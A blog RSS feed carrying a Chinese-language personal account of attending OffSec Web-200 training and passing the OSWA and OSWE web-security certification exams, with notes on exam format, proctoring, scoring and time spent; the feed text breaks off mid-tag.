<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[喵咿嗚嗚嗚]]></title><description><![CDATA[Web 喵]]></description><link>https://blog.cjis.ooo/</link><image><url>https://blog.cjis.ooo/favicon.png</url><title>喵咿嗚嗚嗚</title><link>https://blog.cjis.ooo/</link></image><generator>Ghost 5.55</generator><lastBuildDate>Tue, 03 Mar 2026 11:39:45 GMT</lastBuildDate><atom:link href="https://blog.cjis.ooo/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[DEVCORE OffSec Living Training x OSWA x OSWE]]></title><description><![CDATA[<p>1/10 &#x7D42;&#x65BC;&#x53E3;&#x8A66;&#x7D50;&#x675F;&#xFF0C;&#x53EA;&#x5269;&#x4E0B;&#x7169;&#x6559;&#x6388;&#x8B93;&#x6211;&#x7562;&#x696D;&#x3002;&#x8D81;&#x8457; DEVCORE &#x4E7E;&#x7239;&#x534A;&#x8D0A;&#x52A9;&#x7684; &#xA0;OffSec &#xA0;Unlimited &#x9084;&#x6C92;&#x904E;&#x671F;&#x524D;&#x4F86;&#x591A;&#x8003;&#x5E7E;&#x5F35;&#xFF0C;&#x5E73;&#x5E38;&#x4E00;&#x6B21;&#x8003;&#x8A66;</p>]]></description><link>https://blog.cjis.ooo/devcore-living-training/</link><guid isPermaLink="false">67972e897edeb5000141ea83</guid><dc:creator><![CDATA[cjiso1117]]></dc:creator><pubDate>Mon, 27 Jan 2025 10:52:25 GMT</pubDate><content:encoded><![CDATA[<p>1/10 &#x7D42;&#x65BC;&#x53E3;&#x8A66;&#x7D50;&#x675F;&#xFF0C;&#x53EA;&#x5269;&#x4E0B;&#x7169;&#x6559;&#x6388;&#x8B93;&#x6211;&#x7562;&#x696D;&#x3002;&#x8D81;&#x8457; DEVCORE &#x4E7E;&#x7239;&#x534A;&#x8D0A;&#x52A9;&#x7684; &#xA0;OffSec &#xA0;Unlimited &#x9084;&#x6C92;&#x904E;&#x671F;&#x524D;&#x4F86;&#x591A;&#x8003;&#x5E7E;&#x5F35;&#xFF0C;&#x5E73;&#x5E38;&#x4E00;&#x6B21;&#x8003;&#x8A66;&#x8981;&#x4E09;&#x56DB;&#x842C;&#xFF0C;&#x8003;&#x4E00;&#x5F35;&#x8CFA;&#x4E09;&#x842C;&#xFF0C;&#x904E;&#x5E74;&#x7D05;&#x5305;&#x81EA;&#x5DF1;&#x8CFA;&#xFF0C;&#x8CFA;&#x721B;&#x4E86;...</p><h2 id="devcore-offsec-live-training">DEVCORE OffSec Live Training</h2><p>D &#x793E;&#x8D0A;&#x52A9;&#x7684;<a href="https://training.devco.re/?ref=blog.cjis.ooo">&#x8AB2;&#x7A0B;&#x65B9;&#x6848;</a>&#x662F;&#x8CB7;&#x5BE6;&#x9AD4;&#x8AB2;&#x9644;&#x8D08; Exclusive 6 Months Learn Unlimited Access&#xFF0C;&#x5728; 2024/08 &#x6709;&#x4E00;&#x6B21; Web-200 &#x5BE6;&#x9AD4;&#x8AB2;&#x7A0B;&#xFF0C;&#x4E26;&#x4E14;&#x5728;&#x516D;&#x500B;&#x6708;&#x6642;&#x9650;&#x5167;&#x53EF;&#x4EE5;&#x63A5;&#x89F8;&#x5E7E;&#x4E4E;&#x6240;&#x6709;&#x6559;&#x6750;&#xFF08;&#x9664;&#x4E86;&#x5E7E;&#x500B;&#x8D85;&#x9AD8;&#x968E;&#x8AB2;&#xFF09;&#xFF0C;&#x53EF;&#x4EE5;&#x7121;&#x9650;&#x6B21;&#x8003;&#x8A66;&#xFF0C;&#x540C;&#x9805;&#x76EE;&#x7684;&#x8003;&#x8A66;&#x6C92;&#x904E;&#x7684;&#x8A71;&#x6709;&#x4E00;&#x500B;&#x6708;&#x51B7;&#x537B;&#x671F;&#xFF0C;&#x4E0D;&#x540C;&#x9805;&#x76EE;&#x5247;&#x6C92;&#x6709;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x5728;&#x6700;&#x5F8C;&#x4E00;&#x500B;&#x6708;&#x9023;&#x7E8C;&#x6392;&#x4E86; OSWA&#x3001;OSWE&#x3001;OSCP+ &#x8003;&#x8A66;&#xFF0C;&#x8CFA;&#x721B;&#x4E86;&#x8CFA;&#x721B;&#x4E86;</p><p>Web-200 &#x5BE6;&#x9AD4;&#x8AB2;&#x662F;&#x9023;&#x7E8C;&#x4E94;&#x5929;&#xFF0C;&#x6BCF;&#x5929;&#x516B;&#x5C0F;&#x6642;&#xFF0C;&#x8B1B;&#x5E2B;&#x6703;&#x5F88;&#x8A73;&#x7D30;&#x7684;&#x5E36;&#x8457;&#x5B78;&#x751F;&#x8D70;&#x4E00;&#x904D; Web-200 &#x6559;&#x6750;&#x548C;&#x505A; Lab&#xFF0C;&#x6559;&#x6750;&#x5167;&#x5BB9;&#x6DB5;&#x84CB;&#x57FA;&#x790E;&#x7684;&#x5DE5;&#x5177;&#x6559;&#x5B78;&#x3001;XSS&#x3001;CSRF&#x3001;SQL Injection&#x3001;Directory Traversal&#x3001;XXE&#x3001;SSTI&#x3001;Command Injection&#x3001;SSRF&#x3001;Insecure Direct Object Referencing&#x3002;</p><p>&#x9019;&#x5802;&#x8AB2;&#x7684;&#x5B9A;&#x4F4D;&#x662F;&#x96F6;&#x57FA;&#x790E;&#x5165;&#x9580;&#x7B49;&#x7D1A;&#xFF0C;&#x56E0;&#x70BA;&#x6211;&#x7684;&#x7A0B;&#x5EA6;&#x9060;&#x8D85;&#x8AB2;&#x7A0B;&#x5167;&#x5BB9;&#xFF0C;&#x6240;&#x4EE5;&#x5148;&#x8072;&#x660E;&#x6211;&#x6C92;&#x5168;&#x795E;&#x8A8D;&#x771F;&#x807D;&#x8AB2;&#x90FD;&#x5728;&#x6253; Lab&#x3002;&#x4EE5;&#x6211;&#x60F3;&#x50CF;&#x4E2D;&#x7684;&#x65B0;&#x624B;&#x4F86;&#x8B1B;&#x8B1B;&#x89C0;&#x5BDF;&#x5230;&#x7684;&#x512A;&#x9EDE;&#xFF0C;&#x6559;&#x6750;&#x5167;&#x5BB9;&#x771F;&#x7684;&#x662F;&#x624B;&#x628A;&#x624B;&#x5E36;&#x5B78;&#x751F;&#x8D70;&#x4E00;&#x904D;&#xFF0C;&#x5C0D;&#x65BC;&#x525B;&#x5165;&#x9580;&#x7684;&#x5C0F;&#x767D;&#x5F88;&#x53CB;&#x5584;&#xFF0C;&#x800C;&#x4E14;<strong>&#x8B1B;&#x5E2B;&#x6703;&#x5E36;&#x5165;&#x4E00;&#x4E9B;&#x5BE6;&#x969B;&#x6EF2;&#x900F;&#x7684;&#x601D;&#x7DAD;&#xFF0C;&#x554F;&#x554F;&#x984C;&#x5F15;&#x5C0E;&#x5B78;&#x751F;&#x9032;&#x5165;&#x6EF2;&#x900F;&#x6E2C;&#x8A66;&#x4EBA;&#x54E1;&#x7684;&#x8996;&#x89D2;&#x4F86;&#x601D;&#x8003;&#x4E0B;&#x4E00;&#x6B65;&#x8A72;&#x505A;&#x4EC0;&#x9EBC;&#xFF0C;&#x9084;&#x6703;&#x88DC;&#x5145;&#x4E00;&#x4E9B;&#x6559;&#x6750;&#x4E0A;&#x6C92;&#x6709;&#x7684;&#x77E5;&#x8B58;&#x548C;&#x6280;&#x5DE7;&#xFF0C;&#x4E0D;&#x53EA;&#x662F;&#x55AE;&#x7D14;&#x7684;&#x7167;&#x672C;&#x5BA3;&#x79D1;&#xFF0C;&#x662F;&#x6211;&#x89BA;&#x5F97;&#x9019;&#x5802; Web-200 &#x5BE6;&#x9AD4;&#x8AB2;&#x6700;&#x6709;&#x50F9;&#x503C;&#x7684;&#x5730;&#x65B9;&#x3002;</strong>&#x9084;&#x6709;&#x4E00;&#x500B;&#x53EF;&#x4EE5;&#x8003;&#x616E;&#x7684;&#x512A;&#x9EDE;&#x662F;&#x5C0D;&#x65BC;&#x65B0;&#x624B;&#x4F86;&#x8AAA;&#xFF0C;&#x4E0D;&#x7528;&#x5BB3;&#x6015;&#x63D0;&#x51FA;&#x8822;&#x554F;&#x984C;&#x548C;&#x649E;&#x7246;&#xFF0C;&#x80FD;&#x6E1B;&#x5C11;&#x5165;&#x9580;&#x6478;&#x7D22;&#x671F;&#x5E36;&#x4F86;&#x7684;&#x632B;&#x6298;&#x611F;&#x3002;</p><p>&#x8AB2;&#x5802;&#x4E0A;&#x90FD;&#x662F; CTFer &#x548C;&#x6EF2;&#x900F;&#x5927;&#x5927;&#xFF0C;&#x7B2C;&#x4E00;&#x5929;&#x4E0A;&#x5B8C;&#x8001;&#x5E2B;&#x5F88;&#x7591;&#x60D1;&#x7684;&#x554F;&#x6211;&#x5011;&#x70BA;&#x4EC0;&#x9EBC;&#x8981;&#x4F86;&#x4E0A;&#x8AB2;&#xFF0C;&#x56E0;&#x70BA;&#x5927;&#x591A;&#x6578;&#x4EBA;&#x90FD;&#x76F4;&#x63A5;&#x958B;&#x59CB;&#x6311;&#x6230; Lab :D &#x5E73;&#x5E38;&#x6253;&#x7684; CTF &#x96E3;&#x5EA6;&#x9060;&#x8D85; Web-200&#xFF0C;&#x6559;&#x6750;&#x7684;&#x96E3;&#x6613;&#x7A0B;&#x5EA6;&#x662F;&#x53EF;&#x4EE5;&#x81EA;&#x5DF1;&#x5543;&#x5B8C;&#xFF0C;&#x540C;&#x6A23;&#x50F9;&#x4F4D;&#x6703;&#x5EFA;&#x8B70;&#x53BB;&#x9078; Pen-200 &#x5BE6;&#x9AD4;&#x8AB2;&#x3002;</p><h1 id="oswa">OSWA</h1><p>&#x4EBA;&#x6B0A;(?)</p><figure class="kg-card kg-image-card"><img src="https://api.accredible.com/v1/frontend/credential_website_embed_image/certificate/130303681" class="kg-image" alt loading="lazy"></figure><p> Offensive Security Web Assessor (OSWA) &#x662F; Web-200 &#x8AB2;&#x7A0B;&#x7684;&#x8B49;&#x7167;&#xFF0C;&#x6642;&#x9593;&#x662F; 24hr &#x8981;&#x6253;&#x4E94;&#x53F0;&#x4E3B;&#x6A5F;&#xFF0C;&#x6BCF;&#x53F0;&#x6709; Local.txt &#x548C; Proof.txt &#x5169;&#x500B; Flag&#xFF0C;&#x6BCF;&#x500B; Flag 10 points&#xFF0C;&#x53CA;&#x683C;&#x9700;&#x8981; 70 points&#xFF0C;&#x8003;&#x5B8C;&#x5F8C;&#x8981;&#x5728; 24hr &#x5167;&#x4EA4;&#x5831;&#x544A;&#x3002;&#x4ED6;&#x5011;&#x5BE9;&#x5831;&#x544A;&#x8D85;&#x5FEB;&#xFF0C;&#x9694;&#x5929;&#x5C31;&#x6536;&#x5230;&#x901A;&#x77E5;&#x60F9;&#x3002;</p><p>&#x6211;&#x53EA;&#x6709;&#x5728;&#x53BB;&#x5E74;&#x516B;&#x6708; live training &#x505A;&#x5B8C; Lab&#xFF0C;&#x539F;&#x672C;&#x60F3;&#x53E3;&#x8A66;&#x5B8C;&#x4E00;&#x5468;&#x5167;&#x8907;&#x7FD2;&#x4E00;&#x4E0B;&#xFF0C;&#x5BE6;&#x7FD2;&#x9047;&#x5230;&#x597D;&#x73A9;&#x7684;&#x4E8B;&#x5C31;&#x6C92;&#x7A7A;&#x770B;&#xFF0C;&#x5927;&#x6982;&#x7B97;&#x534A;&#x88F8;&#x8003;&#x3002;</p><p>&#x6211;&#x5F9E; 1/18 06:00 &#x958B;&#x8003;&#xFF0C;&#x6263;&#x9664;&#x5403;&#x98EF;&#x7761;&#x89BA;&#x6253;&#x7D04;&#x6253;&#x4E86; 16hr&#x3002;&#x5927;&#x6982;&#x6253;&#x5230; 12hr &#x6642;&#x62FF;&#x5230; 70 points &#x525B;&#x597D;&#x53CA;&#x683C;&#xFF0C;&#x5F8C;&#x9762;&#x901A;&#x9748;&#x529B;&#x67AF;&#x7AED;&#x6C92;&#x4EC0;&#x9EBC;&#x9032;&#x5C55;&#x3002;</p><p>&#x8003;&#x8A66;&#x958B;&#x59CB;&#x524D;&#x5341;&#x4E94;&#x5206;&#x9418;&#x53EF;&#x4EE5;&#x9032;&#x5165;&#x76E3;&#x8003;&#x7DB2;&#x7AD9;&#x548C;&#x76E3;&#x8003;&#x5B98;&#x78BA;&#x8A8D;&#x8B77;&#x7167;&#x8EAB;&#x5206;&#xFF0C;&#x4ED6;&#x6703;&#x8981;&#x6C42;&#x9304;&#x88FD;&#x87A2;&#x5E55;&#x548C;&#x958B;&#x93E1;&#x982D;&#x78BA;&#x8A8D;&#x74B0;&#x5883;&#xFF0C;&#x6211;&#x5E73;&#x5E38;&#x7528;&#x7B46;&#x96FB;&#x5916;&#x63A5;&#x87A2;&#x5E55;&#x6642;&#x90FD;&#x4F7F;&#x7528; Mirror &#x6216;&#x662F;&#x53EA;&#x4F7F;&#x7528;&#x5916;&#x63A5;&#x87A2;&#x5E55;&#xFF0C;&#x5206;&#x4EAB;&#x87A2;&#x5E55;&#x6642;&#x53EA;&#x6703;&#x6709;&#x4E00;&#x500B;&#x80FD;&#x5206;&#x4EAB;&#xFF0C;&#x6B64;&#x5916;&#x6211;&#x53F3;&#x908A;&#x5973;&#x53CB;&#x5EA7;&#x4F4D;&#x4E0A;&#x9084;&#x6709;&#x4E00;&#x500B;&#x5916;&#x63A5;&#x87A2;&#x5E55;&#xFF0C;&#x8003;&#x5B98;&#x5728;&#x6AA2;&#x67E5;&#x74B0;&#x5883;&#x5F8C;&#x8981;&#x6C42;&#x6211;&#x8981;&#x5206;&#x4EAB;&#x4E09;&#x500B;&#x87A2;&#x5E55;&#x6216;&#x662F;&#x642C;&#x8D70;&#xFF0C;&#x6700;&#x5F8C;&#x6211;&#x642C;&#x8D70;&#x5973;&#x53CB;&#x87A2;&#x5E55;&#xFF0C;&#x4E26;&#x4E14;&#x7528; Extended mode &#x5206;&#x4EAB;&#x5169;&#x500B;&#x87A2;&#x5E55;&#xFF0C;&#x8003;&#x5B98;&#x624D;&#x8B93;&#x6211;&#x958B;&#x59CB;&#x8003;&#x8A66;&#x3002;</p><p>&#x5F37;&#x70C8;&#x5EFA;&#x8B70;&#x4E00;&#x5B9A;&#x8981;&#x5148;&#x505A;&#x8AB2;&#x7A0B;&#x7684; Lab &#x518D;&#x4F86;&#x8003;&#x8A66;&#xFF0C;&#x5148;&#x9AD4;&#x6703;&#x5230; Web-200 &#x98A8;&#x683C;&#x624D;&#x4E0D;&#x6703;&#x81EA;&#x6211;&#x61F7;&#x7591;&#x3002;&#x4E3B;&#x6A5F;&#x4E0A;&#x7684;&#x6D1E;&#x5229;&#x7528;&#x90FD;&#x5F88;&#x7C21;&#x55AE;&#xFF0C;&#x96E3;&#x7684;&#x662F;&#x767C;&#x73FE;&#x548C;&#x7206;&#x7834;&#x8DEF;&#x5F91;&#xFF0C;&#x6709;&#x4E9B;&#x5DF2;&#x7D93;&#x77E5;&#x9053;&#x4E0B;&#x4E00;&#x6B65;&#x8981;&#x7206;&#x7834;&#x8DEF;&#x5F91;&#xFF0C;&#x9084;&#x662F;&#x600E;&#x9EBC;&#x6383;&#x90FD;&#x627E;&#x4E0D;&#x5230; lol&#x3002;&#x4E00;&#x5B9A;&#x8981;&#x6CE8;&#x610F;&#x7DB2;&#x7AD9;&#x5167;&#x5BB9;&#xFF0C;&#x4E0D;&#x8981;&#x76F4;&#x63A5;&#x4E0B;&#x53BB;&#x6E2C; API&#xFF0C;&#x5F88;&#x591A;&#x63D0;&#x793A;&#x90FD;&#x85CF;&#x5728;&#x5167;&#x6587;&#x88E1;&#x9700;&#x8981;&#x4E00;&#x9EDE;&#x609F;&#x6027;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x63D0;&#x793A;&#x4F60;&#x6709;&#x6C92;&#x6709; Emulated User &#xFF0C;&#x6703;&#x76F4;&#x63A5;&#x5F71;&#x97FF;&#x89E3;&#x984C;&#x65B9;&#x5411;&#x662F;&#x4E0D;&#x662F; XSS&#xFF0C;&#x6709;&#x8A31;&#x591A;&#x4EBA;&#x8868;&#x793A;&#x9047;&#x5230; XSS Emulated User &#x64FA;&#x721B;&#x89F8;&#x767C;&#x4E0D;&#x4E86;&#xFF0C;&#x6211;&#x5F88;&#x5E78;&#x904B;&#x7684;&#x6C92;&#x6709;&#x9047;&#x904E;&#x3002;</p><p>Local.txt &#x5B58;&#x5728;&#x65BC; Admin Panel&#xFF0C; Proof.txt &#x5247;&#x662F;&#x672C;&#x5730;&#x6A94;&#x6848;&#x3002;Local.txt &#x5728;&#x5BEB;&#x5831;&#x544A;&#x7684;&#x8981;&#x6C42;&#x662F;&#x8981;&#x622A;&#x5716; Admin Panel&#xFF0C;&#x6240;&#x4EE5;&#x5373;&#x4F7F;&#x6233;&#x5230;&#x5176;&#x4ED6;&#x7684;&#x6D1E;&#x5F04;&#x51FA;&#x4F86;&#x9084;&#x662F;&#x5F97;&#x627E;&#x51FA;&#x901A;&#x5F80; Admin Panel &#x7684;&#x65B9;&#x6CD5;&#xFF1B;Proof.txt &#x5C31;&#x6C92;&#x6709;&#x9650;&#x5236;&#x4E86;&#xFF0C;&#x7121;&#x8AD6;&#x662F;&#x8B80;&#x6A94;&#x6D1E;&#x9084;&#x662F; RCE &#x90FD;&#x53EF;&#x4EE5;&#x3002;&#x6709;&#x4E00;&#x984C;&#x6211;&#x6233;&#x51FA;&#x975E;&#x9810;&#x671F;&#x89E3;&#x76F4;&#x63A5;&#x62FF;&#x5230;&#x5169;&#x500B; Flag&#xFF0C;&#x9084;&#x662F;&#x5F97;&#x4E56;&#x4E56;&#x7684;&#x627E;&#x51FA;&#x901A;&#x5F80; Admin Panel &#x7684;&#x8DEF; Orz...</p><p>&#x5831;&#x544A;&#x7684;&#x90E8;&#x5206;&#x56E0;&#x70BA;&#x6211;&#x525B;&#x5BEB;&#x5B8C;&#x8AD6;&#x6587;&#x5C0D; word &#x5F88;&#x719F;&#xFF08;&#x7528;&#x5225;&#x4EBA;&#x5F04;&#x597D;&#x7684; word &#x6A21;&#x677F;&#x771F;&#x7684;&#x9999;&#xFF09;&#xFF0C;&#x6240;&#x4EE5;&#x9078;&#x7528;&#x5B98;&#x65B9;&#x63D0;&#x4F9B;&#x7684;&#x6A21;&#x677F;&#xFF0C;code &#x5957;&#x7528; HTML &#x6A23;&#x5F0F;&#x8ABF;&#x500B;&#x9593;&#x8DDD;&#x9084;&#x7B97;&#x80FD;&#x770B;&#x4ED6;&#x9810;&#x8A2D;&#x5B57;&#x9AD4;&#x6709;&#x9EDE;&#x919C;&#x53EF;&#x4EE5;&#x8003;&#x616E;&#x63DB;&#x4E00;&#x500B;&#xFF0C;&#x5269;&#x4E0B;&#x554F;&#x984C;&#x4E0D;&#x5927;&#xFF0C;&#x8ABF;&#x6392;&#x7248;&#x82B1;&#x4E0D;&#x5230;&#x4E00;&#x5C0F;&#x6642;&#x3002;</p><p>OSWA &#x8AAA;&#x96E3;&#x4E0D;&#x96E3;&#xFF0C;&#x6F0F;&#x6D1E;&#x5229;&#x7528;&#x90FD;&#x5E7E;&#x5206;&#x9418;&#x7684;&#x4E8B;&#xFF0C;&#x4F46;&#x662F;&#x8981;&#x627E;&#x5230;&#x6D1E;&#x5728;&#x54EA;&#x88E1;&#x771F;&#x7684;&#x9700;&#x8981;&#x904B;&#x6C23;&#x548C;&#x901A;&#x9748;&#x3002;&#x8003;&#x5B8C;&#x5F8C;&#x89BA;&#x5F97;&#x6280;&#x8853;&#x6C92;&#x4EC0;&#x9EBC;&#x9032;&#x6B65;&#xFF0C;&#x901A;&#x9748;&#x529B;&#x591A;&#x4E86;&#x4E0D;&#x5C11;&#xFF0C;&#x723D;&#x8CFA;&#x4E09;&#x842C;(?)</p><blockquote>&#x984C;&#x5916;&#x8A71;&#xFF0C;&#x6211;&#x554F;&#x76E3;&#x8003;&#x5B98;&#x975E;&#x9810;&#x671F;&#x89E3;&#x5408;&#x4E0D;&#x5408;&#x7406;&#xFF0C;&#x4ED6;&#x5011;&#x53EA;&#x6703;&#x8CBC; exam guide &#x5167;&#x5BB9;&#x7D66;&#x4F60;&#xFF0C;&#x5E7E;&#x4E4E;&#x554F;&#x4EC0;&#x9EBC;&#x90FD;&#x8CBC; exam guide&#xFF0C;&#x662F;&#x4E0D;&#x662F;&#x5BA2;&#x670D;&#x4EBA;&#x54E1;&#x5728;&#x76E3;&#x8003; ...</blockquote><h2 id="oswe">OSWE</h2><p>&#x4EBA;&#x6B0A;</p><figure class="kg-card kg-image-card"><img src="https://api.accredible.com/v1/frontend/credential_website_embed_image/certificate/131115285" class="kg-image" alt loading="lazy"></figure><p>Offensive Security Web Expert (OSWE) &#x662F; Web-300 &#x7684;&#x8AB2;&#x7A0B;&#xFF0C;&#x4E3B;&#x8981;&#x662F;&#x8003;&#x767D;&#x7BB1; code review &#x6316;&#x6398;&#x6F0F;&#x6D1E;&#x3002;&#x8003;&#x8A66;&#x6642;&#x9593; 48hr&#xFF0C;&#x53E6;&#x5916;24hr&#x4EA4;&#x5831;&#x544A;&#x3002;</p><p>&#x8003;&#x8A66;&#x74B0;&#x5883;&#x6709;&#x5169;&#x53F0;&#x5F31;&#x9EDE;&#x4E3B;&#x6A5F;&#x3001;&#x5169;&#x53F0; Debug &#x4E3B;&#x6A5F;&#x548C;&#x4E00;&#x53F0; Kali&#xFF0C;&#x53EF;&#x4EE5;&#x5728; Debug &#x4E3B;&#x6A5F;&#x4E0A;&#x770B; code &#x548C;&#x6E2C;&#x8A66;&#x3002;&#x5F31;&#x9EDE;&#x4E3B;&#x6A5F;&#x6703;&#x5F9E;&#x4E94;&#x7A2E;&#x8A9E;&#x8A00;(PHP, Node.js, C#, Java, Python) &#x62BD;&#x5169;&#x7A2E;&#xFF0C;Debug &#x4E3B;&#x6A5F;&#x6703;&#x6709;&#x76F8;&#x5C0D;&#x61C9;&#x7684; vscode &#x548C; decompiler&#x3002;&#x5F31;&#x9EDE;&#x4E3B;&#x6A5F;&#x6709; Local.txt &#x548C; Proof.txt&#xFF0C;&#x5206;&#x5225;&#x5C0D;&#x61C9;&#x5230; Admin Panel 35 points &#x548C; RCE 15 points&#xFF0C;85 points &#x53CA;&#x683C;&#xFF0C;&#x6240;&#x4EE5;&#x81F3;&#x5C11;&#x8981;&#x5169;&#x53F0; Admin Panel &#x548C;&#x4E00;&#x53F0; RCE&#x3002;&#x548C; OSWA &#x76F8;&#x7570;&#x7684;&#x9EDE;&#x662F;&#x5831;&#x544A;&#x9700;&#x8981;&#x6709;&#x4E00;&#x9375;&#x89F8;&#x767C; Exploit&#xFF0C;&#x96D6;&#x7136;&#x8003;&#x8A66;&#x8981;&#x6C42; RCE &#x662F; &#x300C;execute command or reverse shell&#x300D;&#xFF0C;&#x6700;&#x597D;&#x662F;&#x80FD;&#x53CD;&#x5F48; reverse shell &#x6BD4;&#x8F03;&#x4FDD;&#x96AA;&#x3002;</p><p>&#x6211;&#x662F;&#x5728; OSWA &#x8003;&#x5B8C;&#x5F8C;&#x624D;&#x958B;&#x59CB;&#x770B; OSWE &#x6559;&#x6750;&#xFF0C;&#x5927;&#x6982;&#x5F9E; 1/21 &#x6E96;&#x5099;&#x5230; 1/23&#xFF0C;&#x60F3;&#x8AAA;&#x770B;&#x6559;&#x6750;&#x597D;&#x7121;&#x804A;&#x76F4;&#x63A5;&#x505A; Lab&#xFF0C;Lab &#x610F;&#x5916;&#x7C21;&#x55AE;&#xFF0C;&#x6D1E;&#x5F88;&#x76F4;&#x63A5;&#xFF0C;SQL Injection &#x76F4;&#x63A5;&#x62DA;&#x63A5;&#xFF0C;XSS &#x9ED1;&#x7BB1;&#x6E2C;&#x4E00;&#x6E2C;&#x5927;&#x591A;&#x662F;&#x88F8;&#x7684;&#xFF0C;&#x9084;&#x6709;&#x908F;&#x8F2F;&#x6D1E;&#x5FD8;&#x8A18;&#x9A57;&#x5BC6;&#x78BC;...&#x5584;&#x7528; vscode &#x7684; regex search &#x5F88;&#x5FEB;&#x5C31;&#x80FD;&#x5B9A;&#x4F4D;&#x5230;&#x5F31;&#x9EDE;&#xFF0C;&#x7528; Buttom-up &#x4F86;&#x627E;&#x975E;&#x5E38;&#x5FEB;&#xFF0C;&#x505A; Lab &#x6642;&#x5927;&#x6982;&#x4E00;&#x5C0F;&#x6642;&#x5167;&#x80FD;&#x770B;&#x5B8C;&#x627E;&#x51FA;&#x5F31;&#x9EDE;&#xFF0C;&#x5F31;&#x9EDE;&#x5229;&#x7528;&#x672C;&#x8EAB;&#x5F88;&#x7C21;&#x55AE;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x770B;&#x5B8C;&#x5F8C;&#x6C92;&#x7279;&#x5225;&#x5BEB; Exploit&#x3002;&#x984C;&#x76EE;&#x6BD4;&#x5E73;&#x5E38; CTF &#x984C;&#x9084;&#x8981;&#x9577;&#x4E00;&#x4E9B;&#xFF0C;&#x4E0D;&#x904E;&#x9060;&#x6BD4; Real World &#x61C9;&#x7528;&#x77ED;&#x5F88;&#x591A;&#x3002;</p><blockquote>&#x6709;&#x500B;&#x5C0F;&#x6280;&#x5DE7;&#x662F;&#x627E;&#x8A3B;&#x89E3;&#x3001;Logger&#x3001;&#x7528;&#x4E0A; filter &#x7684;&#x5730;&#x65B9;</blockquote><p>&#x8003;&#x8A66;&#x958B;&#x59CB;&#x65BC; 1/24 06:00 &#xFF0C;&#x9019;&#x6B21;&#x78BA;&#x8A8D;&#x8EAB;&#x5206;&#x74B0;&#x5883;&#x5FEB;&#x5F88;&#x591A;&#xFF0C;&#x6642;&#x9593;&#x5206;&#x914D;&#x5982;&#x4E0B;<br>0hr: &#x958B;&#x984C;&#x76EE;&#xFF0C;&#x770B;&#x5230;&#x662F; PHP &#x548C; Java &#x5F8C;&#x5B89;&#x5FC3;&#x7761;&#x89BA;<br>0hr-6hr: &#x7761;&#x89BA;<br>6hr-10hr: &#x800D;&#x5EE2;+&#x5403;&#x98EF;<br>10hr-12hr: &#x5F04; code review &#x74B0;&#x5883;<br>12hr-14hr: &#x5403;&#x98EF;<br>14hr-20hr: &#x89E3;&#x51FA; PHP local &#x548C;&#x627E;&#x51FA;Java local &amp; proof <br>20hr-30hr: &#x7761;&#x89BA;<br>30hr-32hr: &#x5403;&#x98EF;&#x800D;&#x5EE2;<br>32hr-36hr: &#x5BEB; Exploit&#x3001;&#x89E3;&#x51FA; Java local &amp; proof&#xFF0C;&#x767C;&#x73FE;&#x6211;&#x4E0D;&#x6703;&#x5BEB; &#xA0;code<br>37hr-39hr: &#x518D;&#x770B; PHP&#xFF0C;&#x600E;&#x9EBC;&#x60F3;&#x90FD;&#x4E0D;&#x53EF;&#x80FD; RCE&#xFF0C;&#x653E;&#x68C4;&#x958B;&#x59CB;&#x5BEB;&#x5831;&#x544A;39hr-42hr: &#x5BEB;&#x5B8C;&#x5831;&#x544A;&#x4EA4;&#x51FA;&#x53BB;</p><p>&#x6211;&#x89BA;&#x5F97;&#x8003;&#x8A66;&#x548C; Lab &#x9060;&#x6BD4;&#x6559;&#x6750;&#x5167;&#x7684; Real World &#x7C21;&#x55AE;&#xFF0C;&#x8003;&#x8A66;&#x8B93;&#x6211;&#x610F;&#x5916;&#x7684;&#x662F; admin panel &#x4E32;&#x7684; API &#x883B;&#x591A;&#x7684;&#xFF0C;&#x4E0D;&#x5982; Lab &#x7C21;&#x55AE;&#x7C97;&#x66B4;&#x3002;OSWE &#x6700;&#x56F0;&#x96E3;&#x7684;&#x662F; code review &#x74B0;&#x5883;&#xFF0C;&#x53EA;&#x80FD;&#x7528; ssh x11 forwarding &#x6216;&#x662F; RDP&#xFF0C;&#x4E0D;&#x77E5;&#x9053;&#x70BA;&#x5565;&#x6211;&#x7684; windows 11 host &#x958B; rdp &#x8D85;&#x9760;&#x5317;&#x6162;&#xFF0C;&#x5EF6;&#x9072;&#x5341;&#x5E7E;&#x79D2;&#xFF0C;&#x5B98;&#x65B9;&#x6C92;&#x6709;&#x63D0;&#x4F9B; ssh x11 forwarding &#x7684;&#x6559;&#x5B78;&#x6587;&#xFF0C;&#x6211;&#x81EA;&#x5DF1;&#x4F30;&#x72D7;&#x5F04;&#x4E00;&#x76F4;&#x8A2D;&#x4E0D;&#x597D;&#xFF0C;&#x5012;&#x662F;&#x610F;&#x5916;&#x958B;&#x6210;&#x4E86; vscode ssh-remote&#xFF0C;&#x6211;&#x7528;&#x4E86;&#x5FEB;&#x4E00;&#x5C0F;&#x6642;&#x624D;&#x6CE8;&#x610F;&#x5230;&#xFF0C;&#x8D95;&#x7DCA;&#x554F;&#x8003;&#x5B98;&#x80FD;&#x4E0D;&#x80FD;&#x7528; ssh-remote &#xFF0C;&#x6C92;&#x610F;&#x5916;&#x53C8;&#x5F97;&#x5230;<a href="https://help.offsec.com/hc/en-us/articles/360046869951-WEB-300-Advanced-Web-Attacks-and-Exploitation-OSWE-Exam-Guide?ref=blog.cjis.ooo#exam-restrictions"> exam guide</a> &#x9023;&#x7D50;&#xFF0C;&#x6211;&#x8A73;&#x7D30;&#x770B;&#x5B8C; exam guide &#x7684;&#x9650;&#x5236; &#x300C;Remote mounting of application source code is not allowed (e.g. using sshfs, sftp etc.)&#x300D; &#x9084;&#x6709; vscode &#x7684;<a href="https://code.visualstudio.com/docs/remote/ssh?ref=blog.cjis.ooo">&#x67B6;&#x69CB;&#x5716;</a></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.cjis.ooo/content/images/2025/01/architecture-ssh.png" class="kg-image" alt loading="lazy" width="968" height="314" srcset="https://blog.cjis.ooo/content/images/size/w600/2025/01/architecture-ssh.png 600w, https://blog.cjis.ooo/content/images/2025/01/architecture-ssh.png 968w" sizes="(min-width: 720px) 